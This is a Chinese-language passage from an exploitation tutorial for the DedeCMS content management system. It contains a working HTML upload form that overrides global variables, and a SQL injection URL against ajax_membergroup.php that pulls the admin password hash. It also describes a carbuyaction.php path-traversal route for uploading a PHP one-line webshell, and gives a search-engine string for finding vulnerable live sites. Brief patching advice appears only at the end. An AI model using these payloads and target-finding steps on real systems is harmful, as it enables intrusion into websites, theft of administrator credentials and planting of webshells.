<form name="form1" action="http://127.1/member/uploads_add.php" method="post" enctype="multipart/form-data" > <input type="hidden" name="mediatype" value="4" /> <input type="hidden" name="_GET[cfg_mb_addontype]" value="P hp|Php|php" /> <input type="hidden" name="dopost" value="save" /> <input name="addonfile" type="file" id="addonfile" /> <button class="button2" type="submit" >提交</button> </form> ![]() 将待上传的 Php 文件扩展名改为“P hp”,然后利用该页面完成上传,从地址栏得到新文件 名,如图 15。 ![]() 全局变量漏洞判断。在地址栏提交“_POST[cfg_xxx]”,如果页面返回“Request var not allow!”则安装过 补丁,不存在全局变量漏洞,如果页面没有出错返回正常,则 存在该漏洞,如图 16。 ![]() 或者访问“data/admin/ver.txt”文件,获取系统最后升级时间,确认是否安装过最新补丁。访问“/data/admin/verifies.txt”,获得指纹码最后同步时间。 系统最后升级时间:http://127.1/data/admin/ver.txt 指纹码最后同步时间:http://127.1/data/admin/verifies.txt 几个常见的指纹码同步时间: 20110216 DedeCmsV5.7-GBK-Final 或 V5.6 到 V5.7GBK 升级程序 20100324 DedecmsV55-GBK-Final 20100514 DedeCmsV5.6-GBK-Final 漏洞利用实例 百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用 DeDeCMS 系统的网站。 注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,如图 17 说明已经修补补丁, 然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,如图 18说明存在该漏洞。 ![]() 于是访问页面链接“/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'`”,如图19,去掉前三位和最 后一位,得到管理员的16位 MD5码,md5在线破解成功。 传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,只要 登陆会员中心,然后访问页面链接“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”如图20,说明通过 “/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post” 于是将 Php 一句话木马扩展名改为“rar”等,利用提交页面 upload1.htm,直接 上传成功。 漏洞修补 目前官方没有升级包,简单的防止注入修补方法可以将 ajax_membergroup.php 页面删 除,或者给 CheckSql()自定义函数中的 preg_match 函数增加“i”参数,防止上传的方法 可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字 符“.”、“?”以及空格等字符结束等。 |